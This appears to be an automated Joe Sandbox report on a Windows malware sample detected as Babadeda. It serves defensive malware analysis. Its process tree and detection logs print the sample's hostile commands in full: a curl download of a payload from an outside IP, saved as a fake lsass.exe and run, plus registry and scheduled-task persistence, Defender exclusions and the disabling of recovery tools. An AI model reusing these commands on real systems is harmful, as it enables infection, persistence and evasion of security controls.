Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
nkYzjyrKYK.exe

Overview

General Information

Sample name:nkYzjyrKYK.exe
renamed because original name is a hash value
Original sample name:0f5582439a6cf97fdbc8a7c0037d8ed10ce639c982cd433b83dd4159017fbe62.exe
Analysis ID:1533955
MD5:7f5e49656e9ad3806d18f23766f7cad5
SHA1:593a914acb66225e5b4a813dff2b03f77025ec5a
SHA256:0f5582439a6cf97fdbc8a7c0037d8ed10ce639c982cd433b83dd4159017fbe62
Tags:185-254-97-190exeuser-JAMESWT_MHT
Infos:

Detection

Babadeda
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Sigma detected: Schedule system process
Yara detected Babadeda
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Bypasses PowerShell execution policy
Connects to a pastebin service (likely for C&C)
Creates an autostart registry key pointing to binary in C:\Windows
Creates autostart registry keys with suspicious names
Loading BitLocker PowerShell Module
Machine Learning detection for sample
Sigma detected: Potential Credential Dumping Attempt Via PowerShell Remote Thread
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Schtasks Creation Or Modification With SYSTEM Privileges
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Uses cmd line tools excessively to alter registry or file data
Uses known network protocols on non-standard ports
Uses ping.exe to check the status of other devices and networks
Uses ping.exe to sleep
Uses schtasks.exe or at.exe to add and modify task schedules
Contains functionality to dynamically determine API calls
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Direct Autorun Keys Modification
Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
Sigma detected: Powershell Defender Exclusion
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sleep loop found (likely to delay execution)
Uses 32bit PE files
Uses cacls to modify the permissions of files
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry

Classification

Process Tree

  • System is w10x64
  • nkYzjyrKYK.exe (PID: 5232 cmdline: "C:\Users\user\Desktop\nkYzjyrKYK.exe" MD5: 7F5E49656E9AD3806D18F23766F7CAD5)
    • conhost.exe (PID: 3840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 3880 cmdline: "C:\Windows\sysnative\cmd" /c "C:\Users\user\AppData\Local\Temp\D3B0.tmp\D3B1.tmp\D3B2.bat C:\Users\user\Desktop\nkYzjyrKYK.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • PING.EXE (PID: 6120 cmdline: ping 8.8.8.8 -n 1 MD5: 2F46799D79D22AC72C241EC0322B011D)
      • net.exe (PID: 2100 cmdline: net session MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)
        • net1.exe (PID: 6200 cmdline: C:\Windows\system32\net1 session MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)
      • reg.exe (PID: 6452 cmdline: reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 2 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)
      • reg.exe (PID: 768 cmdline: reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)
      • reg.exe (PID: 2616 cmdline: reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanelNamespace" /t REG_DWORD /d 1 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)
      • reg.exe (PID: 6240 cmdline: reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableCMD" /t REG_DWORD /d 1 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)
      • powershell.exe (PID: 3496 cmdline: powershell.exe -Command "Disable-ComputerRestore -Drive 'C:'; Enable-ComputerRestore -Drive 'C:'" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • ReAgentc.exe (PID: 4560 cmdline: reagentc.exe /disable MD5: A109CC3B919C7D40E4114966340F39E5)
      • attrib.exe (PID: 2328 cmdline: attrib +h ssh MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)
      • curl.exe (PID: 5412 cmdline: curl -s -o C:\Users\user\AppData\Local\Temp\lsass.exe "http://185.254.97.190:2024/download/XClient.exe" MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • lsass.exe (PID: 3040 cmdline: lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)
      • reg.exe (PID: 5808 cmdline: REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "windows-app" /t REG_SZ /d "lsass.exe" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)
      • schtasks.exe (PID: 5712 cmdline: SCHTASKS /Create /TN "Windows Service" /TR "lsass.exe" /SC ONSTART /RU SYSTEM /F MD5: 76CD6626DD8834BD4A42E6A565104DC2)
      • schtasks.exe (PID: 5936 cmdline: schtasks /create /tn "winlogon" /tr "lsass.exe" /sc ONSTART /ru SYSTEM /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)
      • net.exe (PID: 5268 cmdline: net session MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)
        • net1.exe (PID: 828 cmdline: C:\Windows\system32\net1 session MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)
      • powershell.exe (PID: 6684 cmdline: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • powershell.exe (PID: 5648 cmdline: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'D:\'" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • powershell.exe (PID: 5776 cmdline: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • powershell.exe (PID: 2432 cmdline: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming'" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • icacls.exe (PID: 1936 cmdline: icacls "C:\Windows\appcompat\ssh" /deny user:F MD5: 48C87E3B3003A2413D6399EA77707F5D)
  • curl.exe (PID: 4512 cmdline: curl -s -o u32y.bat https://rentry.co/i7zgdqy6/raw/ MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
  • lsass.exe (PID: 2432 cmdline: lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)
    • WmiPrvSE.exe (PID: 4512 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)
  • lsass.exe (PID: 5908 cmdline: lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)
  • lsass.exe (PID: 1372 cmdline: "C:\Windows\system32\lsass.exe" MD5: A1CC00332BBF370654EE3DC8CDC8C95A)
  • lsass.exe (PID: 2760 cmdline: "C:\Windows\system32\lsass.exe" MD5: A1CC00332BBF370654EE3DC8CDC8C95A)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
BabadedaAccording to PCrisk, Babadeda is a new sample in the crypters family, allowing threat actors to encrypt and obfuscate the malicious samples. The obfuscation allows malware to bypass the majority of antivirus protections without triggering any alerts. According to the researchers analysis, Babadeda leverages a sophisticated and complex obfuscation that shows a very low detection rate by anti-virus users.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.babadeda

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
nkYzjyrKYK.exeJoeSecurity_BabadedaYara detected BabadedaJoe Security

    Unpacked PEs

    SourceRuleDescriptionAuthorStrings
    0.2.nkYzjyrKYK.exe.400000.0.unpackJoeSecurity_BabadedaYara detected BabadedaJoe Security
      0.0.nkYzjyrKYK.exe.400000.0.unpackJoeSecurity_BabadedaYara detected BabadedaJoe Security

        Sigma Signatures

        System Summary

        barindex
        Sigma detected: Potential Credential Dumping Attempt Via PowerShell Remote Thread
        Source: Threat createdAuthor: oscd.community, Natalia Shornikova: Data: EventID: 8, SourceImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, SourceProcessId: 2432, StartAddress: 93DEFF80, TargetImage: C:\Windows\System32\lsass.exe, TargetProcessId: 2432
        Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
        Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'" , CommandLine: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'" , CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sysnative\cmd" /c "C:\Users\user\AppData\Local\Temp\D3B0.tmp\D3B1.tmp\D3B2.bat C:\Users\user\Desktop\nkYzjyrKYK.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3880, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'" , ProcessId: 6684, ProcessName: powershell.exe
        Sigma detected: Schtasks Creation Or Modification With SYSTEM Privileges
        Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: SCHTASKS /Create /TN "Windows Service" /TR "lsass.exe" /SC ONSTART /RU SYSTEM /F, CommandLine: SCHTASKS /Create /TN "Windows Service" /TR "lsass.exe" /SC ONSTART /RU SYSTEM /F, CommandLine|base64offset|contains: H!", Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Windows\sysnative\cmd" /c "C:\Users\user\AppData\Local\Temp\D3B0.tmp\D3B1.tmp\D3B2.bat C:\Users\user\Desktop\nkYzjyrKYK.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3880, ParentProcessName: cmd.exe, ProcessCommandLine: SCHTASKS /Create /TN "Windows Service" /TR "lsass.exe" /SC ONSTART /RU SYSTEM /F, ProcessId: 5712, ProcessName: schtasks.exe
        Sigma detected: Script Interpreter Execution From Suspicious Folder
        Source: Process startedAuthor: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'", CommandLine: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sysnative\cmd" /c "C:\Users\user\AppData\Local\Temp\D3B0.tmp\D3B1.tmp\D3B2.bat C:\Users\user\Desktop\nkYzjyrKYK.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3880, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'", ProcessId: 5776, ProcessName: powershell.exe
        Sigma detected: Suspicious Script Execution From Temp Folder
        Source: Process startedAuthor: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'", CommandLine: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sysnative\cmd" /c "C:\Users\user\AppData\Local\Temp\D3B0.tmp\D3B1.tmp\D3B2.bat C:\Users\user\Desktop\nkYzjyrKYK.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3880, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'", ProcessId: 5776, ProcessName: powershell.exe
        Sigma detected: Change PowerShell Policies to an Insecure Level
        Source: Process startedAuthor: frack113: Data: Command: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'" , CommandLine: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'" , CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sysnative\cmd" /c "C:\Users\user\AppData\Local\Temp\D3B0.tmp\D3B1.tmp\D3B2.bat C:\Users\user\Desktop\nkYzjyrKYK.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3880, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'" , ProcessId: 6684, ProcessName: powershell.exe
        Sigma detected: CurrentVersion Autorun Keys Modification
        Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: lsass.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\reg.exe, ProcessId: 5808, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\windows-app
        Sigma detected: Direct Autorun Keys Modification
        Source: Process startedAuthor: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "windows-app" /t REG_SZ /d "lsass.exe" /f, CommandLine: REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "windows-app" /t REG_SZ /d "lsass.exe" /f, CommandLine|base64offset|contains: DA, Image: C:\Windows\System32\reg.exe, NewProcessName: C:\Windows\System32\reg.exe, OriginalFileName: C:\Windows\System32\reg.exe, ParentCommandLine: "C:\Windows\sysnative\cmd" /c "C:\Users\user\AppData\Local\Temp\D3B0.tmp\D3B1.tmp\D3B2.bat C:\Users\user\Desktop\nkYzjyrKYK.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3880, ParentProcessName: cmd.exe, ProcessCommandLine: REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "windows-app" /t REG_SZ /d "lsass.exe" /f, ProcessId: 5808, ProcessName: reg.exe
        Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
        Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "windows-app" /t REG_SZ /d "lsass.exe" /f, CommandLine: REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "windows-app" /t REG_SZ /d "lsass.exe" /f, CommandLine|base64offset|contains: DA, Image: C:\Windows\System32\reg.exe, NewProcessName: C:\Windows\System32\reg.exe, OriginalFileName: C:\Windows\System32\reg.exe, ParentCommandLine: "C:\Windows\sysnative\cmd" /c "C:\Users\user\AppData\Local\Temp\D3B0.tmp\D3B1.tmp\D3B2.bat C:\Users\user\Desktop\nkYzjyrKYK.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3880, ParentProcessName: cmd.exe, ProcessCommandLine: REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "windows-app" /t REG_SZ /d "lsass.exe" /f, ProcessId: 5808, ProcessName: reg.exe
        Sigma detected: Powershell Defender Exclusion
        Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'" , CommandLine: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'" , CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sysnative\cmd" /c "C:\Users\user\AppData\Local\Temp\D3B0.tmp\D3B1.tmp\D3B2.bat C:\Users\user\Desktop\nkYzjyrKYK.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3880, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'" , ProcessId: 6684, ProcessName: powershell.exe
        Sigma detected: Usage Of Web Request Commands And Cmdlets
        Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: curl -s -o u32y.bat https://rentry.co/i7zgdqy6/raw/, CommandLine: curl -s -o u32y.bat https://rentry.co/i7zgdqy6/raw/, CommandLine|base64offset|contains: r, Image: C:\Windows\System32\curl.exe, NewProcessName: C:\Windows\System32\curl.exe, OriginalFileName: C:\Windows\System32\curl.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2432, ProcessCommandLine: curl -s -o u32y.bat https://rentry.co/i7zgdqy6/raw/, ProcessId: 4512, ProcessName: curl.exe
        Sigma detected: Non Interactive PowerShell Process Spawned
        Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Disable-ComputerRestore -Drive 'C:'; Enable-ComputerRestore -Drive 'C:'", CommandLine: powershell.exe -Command "Disable-ComputerRestore -Drive 'C:'; Enable-ComputerRestore -Drive 'C:'", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sysnative\cmd" /c "C:\Users\user\AppData\Local\Temp\D3B0.tmp\D3B1.tmp\D3B2.bat C:\Users\user\Desktop\nkYzjyrKYK.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3880, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Disable-ComputerRestore -Drive 'C:'; Enable-ComputerRestore -Drive 'C:'", ProcessId: 3496, ProcessName: powershell.exe
        Sigma detected: Windows Processes Suspicious Parent Directory
        Source: Process startedAuthor: vburov: Data: Command: lsass.exe, CommandLine: lsass.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System32\lsass.exe, NewProcessName: C:\Windows\System32\lsass.exe, OriginalFileName: C:\Windows\System32\lsass.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1064, ProcessCommandLine: lsass.exe, ProcessId: 2432, ProcessName: lsass.exe

        Persistence and Installation Behavior

        barindex
        Sigma detected: Schedule system process
        Source: Process startedAuthor: Joe Security: Data: Command: SCHTASKS /Create /TN "Windows Service" /TR "lsass.exe" /SC ONSTART /RU SYSTEM /F, CommandLine: SCHTASKS /Create /TN "Windows Service" /TR "lsass.exe" /SC ONSTART /RU SYSTEM /F, CommandLine|base64offset|contains: H!", Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Windows\sysnative\cmd" /c "C:\Users\user\AppData\Local\Temp\D3B0.tmp\D3B1.tmp\D3B2.bat C:\Users\user\Desktop\nkYzjyrKYK.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3880, ParentProcessName: cmd.exe, ProcessCommandLine: SCHTASKS /Create /TN "Windows Service" /TR "lsass.exe" /SC ONSTART /RU SYSTEM /F, ProcessId: 5712, ProcessName: schtasks.exe

        Suricata Signatures

        ⊘No Suricata rule has matched

        Joe Sandbox Signatures

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Antivirus / Scanner detection for submitted sample
        Source: nkYzjyrKYK.exeAvira: detected
        Multi AV Scanner detection for submitted file
        Source: nkYzjyrKYK.exeReversingLabs: Detection: 55%
        AI detected suspicious sample
        Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
        Machine Learning detection for sample
        Source: nkYzjyrKYK.exeJoe Sandbox ML: detected
        Source: nkYzjyrKYK.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
        Source: unknownHTTPS traffic detected: 104.26.3.16:443 -> 192.168.2.6:49713 version: TLS 1.2
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeFile opened: C:\Users\user\AppData\Local\Temp\D3B0.tmpJump to behavior
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeFile opened: C:\Users\user\AppData\Local\Temp\D3B0.tmp\D3B1.tmp\D3B2.tmpJump to behavior
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeFile opened: C:\Users\user\AppData\Local\Temp\D3B0.tmp\D3B1.tmpJump to behavior
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeFile opened: C:\Users\user\AppData\Local\Jump to behavior
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeFile opened: C:\Users\user\Jump to behavior
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeFile opened: C:\Users\user\AppData\Jump to behavior

        Networking

        barindex
        Connects to a pastebin service (likely for C&C)
        Source: unknownDNS query: name: rentry.co
        Uses known network protocols on non-standard ports
        Source: unknownNetwork traffic detected: HTTP traffic on port 49714 -> 2024
        Uses ping.exe to check the status of other devices and networks
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping 8.8.8.8 -n 1
        Source: global trafficTCP traffic: 192.168.2.6:49714 -> 185.254.97.190:2024
        Source: Joe Sandbox ViewIP Address: 104.26.3.16 104.26.3.16
        Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
        Source: Joe Sandbox ViewJA3 fingerprint: 74954a0c86284d0d6e1c4efefe92b521
        Source: unknownTCP traffic detected without corresponding DNS query: 185.254.97.190
        Source: unknownTCP traffic detected without corresponding DNS query: 185.254.97.190
        Source: unknownTCP traffic detected without corresponding DNS query: 185.254.97.190
        Source: unknownTCP traffic detected without corresponding DNS query: 185.254.97.190
        Source: unknownTCP traffic detected without corresponding DNS query: 185.254.97.190
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: global trafficHTTP traffic detected: GET /i7zgdqy6/raw/ HTTP/1.1Host: rentry.coUser-Agent: curl/7.83.1Accept: */*
        Source: global trafficHTTP traffic detected: GET /download/XClient.exe HTTP/1.1Host: 185.254.97.190:2024User-Agent: curl/7.83.1Accept: */*
        Source: global trafficDNS traffic detected: DNS query: rentry.co
        Source: curl.exe, 00000012.00000002.2298553951.00000166B8E71000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.254.97.190:2024/down
        Source: powershell.exe, 0000001E.00000002.2503147412.000002A9D3ECC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.254.97.190:2024/downl
        Source: powershell.exe, 00000023.00000002.2705174795.000002C799FB0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2714839780.000002C79BA60000.00000004.00000020.00020000.00000000.sdmp, icacls.exe, 00000024.00000002.2891665626.0000019EF0D67000.00000004.00000020.00020000.00000000.sdmp, icacls.exe, 00000024.00000002.2891766702.0000019EF0F70000.00000004.00000020.00020000.00000000.sdmp, u32y.bat.7.drString found in binary or memory: http://185.254.97.190:2024/download/XClient.exe
        Source: curl.exe, 00000012.00000002.2298553951.00000166B8E71000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.254.97.190:2024/download/XClient.exe)
        Source: curl.exe, 00000012.00000002.2298553951.00000166B8E68000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2337641915.0000021E9CCB8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.254.97.190:2024/download/XClient.exe2
        Source: powershell.exe, 0000001E.00000002.2411777795.000002A9B9B87000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.254.97.190:2024/download/XClient.exe7
        Source: curl.exe, 00000012.00000002.2298553951.00000166B8E68000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.254.97.190:2024/download/XClient.exe:
        Source: powershell.exe, 00000019.00000002.2372968248.0000021EB6C60000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.254.97.190:2024/download/XClient.exeD
        Source: powershell.exe, 0000001E.00000002.2411777795.000002A9B9B87000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.254.97.190:2024/download/XClient.exeK
        Source: powershell.exe, 00000023.00000002.2705174795.000002C799FB0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.254.97.190:2024/download/XClient.exeL
        Source: powershell.exe, 00000019.00000002.2375708119.0000021EB70A2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2374337905.0000021EB6D0E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2376447259.0000021EB714C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2338258747.0000021E9CF44000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2413515102.000002A9B9DC4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2503147412.000002A9D3F49000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2502351134.000002A9D3BFE000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2413515102.000002A9B9DC0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2413938120.000002A9BB660000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2411777795.000002A9B9B87000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2543249790.000001FE61450000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2669344884.000001FE7B464000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2543249790.000001FE61454000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2670965885.000001FE7B6D4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2674736805.000001FE7B7F9000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2543484309.000001FE614C0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2713234858.000002C79A134000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2713234858.000002C79A130000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2870786219.000002C7B4068000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2714839780.000002C79BA60000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2873253607.000002C7B426E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.254.97.190:2024/download/XClient.exeLOCALAPPDATA=C:
        Source: powershell.exe, 0000001E.00000002.2506657477.000002A9D4041000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.254.97.190:2024/download/XClient.exeLOCALAPPDATAM
        Source: curl.exe, 00000012.00000002.2298553951.00000166B8E68000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.254.97.190:2024/download/XClient.execN
        Source: powershell.exe, 00000022.00000002.2543673208.000001FE61521000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.254.97.190:2024/download/XClient.exed
        Source: powershell.exe, 0000001E.00000002.2411777795.000002A9B9B87000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.254.97.190:2024/download/XClient.exev
        Source: powershell.exe, 00000023.00000002.2705174795.000002C799FB0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.254.97.190:2024/download/XClient.exey
        Source: curl.exe, 00000012.00000002.2298553951.00000166B8E71000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.254.97.190:2024/downm
